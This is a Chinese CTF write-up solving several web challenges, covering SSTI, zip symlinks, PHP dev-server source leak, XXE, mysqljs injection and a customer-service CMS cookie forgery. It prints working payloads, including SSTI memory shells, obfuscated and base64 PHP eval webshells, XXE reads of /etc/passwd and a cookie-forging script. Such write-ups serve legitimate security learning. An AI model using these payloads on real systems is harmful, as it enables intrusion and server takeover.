前言: 前段时间打的赏金赛,可惜太菜了就打了个前20拿不到奖金。。。
easyjs
描述:无
考点:js的类型强制转换
+"CTF"
开头的 +
会尝试将字符串转为数字由于 "CTF"
不是有效数字,得到NaN
(Not a Number)
但是没出,后面我注意到Content-Type类型是text/html,改个Content-Type类型为application/json发送就得到flag了
魔法实验室
描述:你会魔法吗?如果你会魔法,我就把flag给你 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义
考点:SSTI内存马或SSTI响应头带数据
这题我打的非预期,bp抓包直接出
这题的预期解是打SSTI内存马
可以看到抓包到该网站使用python写的,再结合这个输入框可以猜测是SSTI注入,但是输入{{7*7}}
啥都没有,直接打看看内存马
1 {{url_for.__globals__.__builtins__['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('o''s').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
官方的打法是通过SSTI响应头带出信息
1 {{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('o''s').popen('ls /').read())}}
当时服务器都是一样的,所以我猜测我的非预期是因为已经有人通过响应头带出flag了,所以我直接就看到了(想不懂出题人出这种题还用公用服务器。。。)
兔刀乐!兔刀乐!
描述:无
考点:rust整数溢出
整数溢出wrapping_add 在溢出时不会 panic,而是回绕(类似 (a + b) % 2^32)
要让 balance 减少 98,可以发送 amount = 4294967296 - 98 = 4294967198
,因为 100 + 4294967198 = 4294967298
,溢出后 4294967298 % 4294967296 = 2
。
访问/buy_flag
查看此时的id就可以得到flag了
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 最近写了一个在线web小工具,还没正式上线,可以请你帮忙测试一下吗?调皮的maomao把flag叼走了
考点:zip软链接
这题我当时感觉应该是打zip软链接,但是我没打通没找到flag的路径。。。
先制作一个软链接
1 2 ln -s /etc/passwd 1.txt zip --symlinks 1.zip 1.txt
上传后会执行unzip操作
然后当时打到这我不知道flag的路径了。。。
看了wp说在/home/maomao/flag.txt
(我之前给人出题还出过这种的,结果自己做也没看到。。。)
制作个读flag的软链接
1 2 ln -s /home/maomao/flag.txt flag.txt zip --symlinks flag.zip flag.txt
上传一下就出来了
图床
描述:新搭建了一个图床,快来一起玩耍吧~ 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义
考点:PHP开发服务器 <= 7.4.21远程源代码泄露、unzip逻辑漏洞绕过文件随机命名、黑名单绕过
当时我还以为出了两题软链接但是后面发现这题打不通
随便访问一个不存在的页面出现下面的页面,说明这是一个php -S
服务
上传文件抓包可以看到有一个unzip.php
对文件进行处理
利用远程源代码泄露漏洞 读取一下这个页面
构造请求包(关闭长度更新以及开启显示回车换行)
可以看到已经读取到unzip.php
的源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 <?php error_reporting (0 );function get_extension ($filename ) { return pathinfo ($filename , PATHINFO_EXTENSION); } function check_extension ($filename ,$path ) { $filePath = $path . DIRECTORY_SEPARATOR . $filename ; if (is_file ($filePath )) { $extension = strtolower (get_extension ($filename )); if (!in_array ($extension , ['jpg' , 'jpeg' , 'png' , 'gif' ])) { if (!unlink ($filePath )) { return false ; } else { return false ; } } else { return true ; } } else { return false ; } } function file_rename ($path ,$file ) { $randomName = md5 (uniqid ().rand (0 , 99999 )) . '.' . get_extension ($file ); $oldPath = $path . DIRECTORY_SEPARATOR . $file ; $newPath = $path . DIRECTORY_SEPARATOR . $randomName ; if (!rename ($oldPath , $newPath )) { unlink ($path . DIRECTORY_SEPARATOR . $file ); return false ; } else { return true ; } } function move_file ($path ,$basePath ) { foreach (glob ($path . DIRECTORY_SEPARATOR . '*' ) as $file ) { $destination = $basePath . DIRECTORY_SEPARATOR . basename ($file ); if (!rename ($file , $destination )){ return false ; } } return true ; } function check_base ($fileContent ) { $keywords = ['eval' , 'base64' , 'shell_exec' , 'system' , 'passthru' , 'assert' , 'flag' , 'exec' , 'phar' , 'xml' , 'DOCTYPE' , 'iconv' , 'zip' , 'file' , 'chr' , 'hex2bin' , 'dir' , 'function' , 'pcntl_exec' , 'array' , 'include' , 'require' , 'call_user_func' , 'getallheaders' , 'get_defined_vars' ,'info' ]; $base64_keywords = []; foreach ($keywords as $keyword ) { $base64_keywords [] = base64_encode ($keyword ); } foreach ($base64_keywords as $base64_keyword ) { if (strpos ($fileContent , $base64_keyword )!== false ) { return true ; } else { return false ; } } } function check_content ($zip ) { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (preg_match ('/\.\.(\/|\.|%2e%2e%2f)/i' , $fileName )) { return false ; } $fileContent = $zip ->getFromName ($fileName ); if (preg_match ('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i' , $fileContent ) || check_base ($fileContent )) { return false ; } else { continue ; } } return true ; } function unzip ($zipname , $basePath ) { $zip = new ZipArchive ; if (!file_exists ($zipname )) { return "zip_not_found" ; } if (!$zip ->open ($zipname )) { return "zip_open_failed" ; } if (!check_content ($zip )) { return "malicious_content_detected" ; } $randomDir = 'tmp_' .md5 (uniqid ().rand (0 , 99999 )); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir ; if (!mkdir ($path , 0777 , true )) { $zip ->close (); return "mkdir_failed" ; } if (!$zip ->extractTo ($path )) { $zip ->close (); } else { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (!check_extension ($fileName , $path )) { continue ; } if (!file_rename ($path , $fileName )) { continue ; } } } if (!move_file ($path , $basePath )) { $zip ->close (); return "move_failed" ; } rmdir ($path ); $zip ->close (); return true ; } $uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/images/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); } if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES ['file' ]; $zipname = $uploadedFile ['tmp_name' ]; $path = $uploadDir ; $result = unzip ($zipname , $path ); if ($result === true ) { header ("Location: index.html?status=success" ); exit (); } else { header ("Location: index.html?status=$result " ); exit (); } } else { header ("Location: index.html?status=file_error" ); exit (); }
先看到代码文件上传的部分
可以看到上传的zip文件被上传到upload/images/
目录,并且对其进行了unzip操作
跟进到unzip()
可以看到其调用check_content()
检测压缩包内文件的内容,并且使用check_extension()
检测上传文件的扩展名,而且还会对解压后的文件进行随机命名防止我们访问到。
所以现在我们需要的就是绕过随机命名以及黑名单
先来看解压的关键代码
可以看到如果解压失败他会close()
但是并没有用return来退出程序,这说明如果我们上传一个错误的zip文件导致他出现错误他只会close()
而不会退出程序,zip里的文件还是会被解压到upload/images/
目录的。
这时候就可以利用Linux下文件名不使用/
来实现的构造损坏的压缩包
先构造一个木马文件tglu.php
(这里直接用wp里的木马了)
1 2 3 4 5 6 7 8 9 <?php $a = 'edoced_46esab' ;$b = strrev ($a ); $c = "c@GFz@c3R@ocnU=" ; $s = $b ($c ); $s ($_GET [1 ]);?>
然后将其打包跟随便一个文件打包为1.zip
1 zip 1.zip tglu.php 1.txt
将压缩后的文件用010打开,修改1.txt
文件名为/////
(一定要确保文件名只有/
)
此时上传这个zip文件,然后访问/upload/images/tglu.php
可以发现已经解压成功了
然后直接获取flag
1 /upload/images/tglu.php?1=tac /f*
web-ssh
描述:王哥王哥,你的Xterminal确实好用,但是还是太吃操作了,有没有既简单又不吃操作的ssh连接方法,有的兄弟,有的,这么好用的系统当然是有的,直接用浏览器就能连哟~ 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义
考点:CVE-2022-45047
这题也是触到我的短板了,我还没有进行java的学习。。。
题目给了附件vps-ssh.jar
,用jd-gui查看
在pom.xml
可以看到这是一个springboot程序并且处理ssh连接的依赖是2.9.1版本的Apache MINA SSHD
看了wp这个版本有个CVE-2022-45047,其实当时也是有搜到这个cve了但是网上没找到别人复现这个漏洞的文章只找到了一个检测的poc问题是还检测不出来,这里也是跟着wp打了。(这里反编译要注意jdk版本要21不然反编译可能失败)
1 java -cp "E:\jetbrains\IntelliJ IDEA 2023.3.6\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true vps-ssh.jar .\vps-ssh\
反编译后用idea打开,把MyController.java
的String baseDir = System.getenv("basedir");
改成自定义的的绝对路径
upload路由的作用主要是上传私钥文件,保存到本地路径(也就是这里自定义的路径),接着调用 SshUtils.getKeyPairFromFile()
解析私钥文件,生成 KeyPair
对象。最后将 KeyPair
序列化后保存为 .ser
文件。
接着审计,上面的commit路由
可以发现这是一个 SSH 命令执行的接口,关键点在runCommand()
,跟进查看(这里没法直接转到,所以我用全局搜索)
这里的关键点其实就是从 conn 对象中获取密钥文件的路径 conn.getkeyPath()
,创建一个File对象,然后获取其 Path 对象,并将其设置到 provider对象中,而这里的provider对象是一个SimpleGeneratorHostKeyProvider
实例。(其实这里也是看了cve的报告才知道的)
跟进到SimpleGeneratorHostKeyProvider
类,但是这里我lib中的jar他不会自动解压所以我在这里找了半天也没找到SimpleGeneratorHostKeyProvider
类的定义,后面回到jd-gui才看到
可以看到doReadKeyPairs()
使用反序列化,从输入流中读取之前序列化存储的KeyPair
对象。
后面复现不出来了燃尽了。。。
easylogin
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 提示:/api/login,多关注于请求和响应,在渗透中,正确的请求很重要!
考点:XXE编码绕过
当时这题我用双重实体编码但是没有绕过去,赛后才发现普通编码就够了。。。
抓包后改成POST请求,然后随便传个数据发现格式是xml的,猜测应该是xxe
随便尝试一下发现被过滤了,用编码绕过
1 2 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY % xml "<!ENTITY tglu SYSTEM "file:///etc/passwd">"> %xml;]><test>&tglu;</test>
发现flag文件在/home/flag
但是事实上flag在/flag
(有点狗的说),接着读取
1 2 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY % xml "<!ENTITY tglu SYSTEM "file:///flag">"> %xml;]><test>&tglu;</test>
easylogin2
描述:首次访问弹出验证框输入:zkaq / zkaq 我可以很嚣张的告诉你:用户名是admin,后端用的是nodejs,我还用上了数据库,flag就放在后台 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义。
部分代码: var mysql = require(“mysql”); if (username && password) { pool.query( “SELECT * FROM accounts WHERE username = ? AND password = ?”,
考点:nodejs使用mysql module时导致的sql注入
先登录进系统是一个登录界面
当时打sql没打通,赛后看wp发现是nodejs在使用mysql module时,导致的sql注入。这里也是直接跟着文章打 通过绕过 mysqljs/mysql 中的转义函数查找未发现的 SQL 注入
先随便输入个用户名和密码然后抓包到auth端点,将身份验证请求复制为 fetch()
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 await fetch("http://cjdogggl.lab.aqlab.cn/auth", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic emthcTp6a2Fx", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" }, "referrer": "http://cjdogggl.lab.aqlab.cn/", "body": "username=admin&password=123456", "method": "POST", "mode": "cors" });
改一下body为paylaod,在控制台运行一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 await fetch("http://cjdogggl.lab.aqlab.cn/auth", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic emthcTp6a2Fx", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" }, "referrer": "http://cjdogggl.lab.aqlab.cn/", "body": "username=admin&password[password]=1", "method": "POST", "mode": "cors" });
可以看到控制台的response已经成功绕过跳转到home了
此时访问/home
就绕过身份验证登录后台了
web进阶题 - kefu1
描述:无
考点:朵米客服平台漏洞:Cookie伪造、文件上传漏洞
用dirsearch扫描的时候发现/admin
会跳转,访问是一个登录界面
搜索一下下载该CMS源码(我是只找到了一个靶场然后打进去后渗透拿源码),也可以直接找类似CMS的源码 https://github.com/15982073790/chat
查看源码是一个Thinkphp的CMS,在base.php
里可以找到基础登录验证逻辑
关键点在于$token = Cookie::get('service_token');
从Cookie中获取名为service_token
的值,并将其赋给 $token
变量。所以我们如果能够伪造Cookie既可绕过身份验证。跟进到service_token
的构造查看
跟进到cpEncode()
根据这个我们现在要伪造Cookie还差key,随便访问一个不存在的页面可以得到AIKF_SALT
根据他的逻辑伪造一下service_token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php function cpEncode ($data , $key = '' , $expire = 0 ) { $string = serialize ($data ); $ckey_length = 4 ; $key = md5 ($key ); $keya = md5 (substr ($key , 0 , 16 )); $keyb = md5 (substr ($key , 16 , 16 )); $keyc = substr (md5 (microtime ()), -$ckey_length ); $cryptkey = $keya . md5 ($keya . $keyc ); $key_length = strlen ($cryptkey ); $string = sprintf ('%010d' , $expire ? $expire + time () : 0 ) . substr (md5 ($string . $keyb ), 0 , 16 ) . $string ; $string_length = strlen ($string ); $result = '' ; $box = range (0 , 255 ); $rndkey = array (); for ($i = 0 ; $i <= 255 ; $i ++) { $rndkey [$i ] = ord ($cryptkey [$i % $key_length ]); } for ($j = $i = 0 ; $i < 256 ; $i ++) { $j = ($j + $box [$i ] + $rndkey [$i ]) % 256 ; $tmp = $box [$i ]; $box [$i ] = $box [$j ]; $box [$j ] = $tmp ; } for ($a = $j = $i = 0 ; $i < $string_length ; $i ++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box [$a ]) % 256 ; $tmp = $box [$a ]; $box [$a ] = $box [$j ]; $box [$j ] = $tmp ; $result .= chr (ord ($string [$i ]) ^ ($box [($box [$a ] + $box [$j ]) % 256 ])); } return rawurlencode ($keyc . str_replace ('=' , '' , base64_encode ($result ))); } $fakeCookie = cpEncode ('admin' , '1hyvrx4h77mdi9626i' , 7 *24 *60 *60 );echo "Generated Cookie: " . $fakeCookie ;
1 c336nxVNJLmW4UZFCl4YYHkowcHg1rAB75rs5e1uD3Mujme%2FCZSsU08
替换后访问/service/index/index.html
即可登录后台
然后接着就是跟着文章打就行了 https://get-shell.com/3153.html
在logo处随便上传个图片
抓包然后上传木马
1 img=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后连接蚁剑
获取flag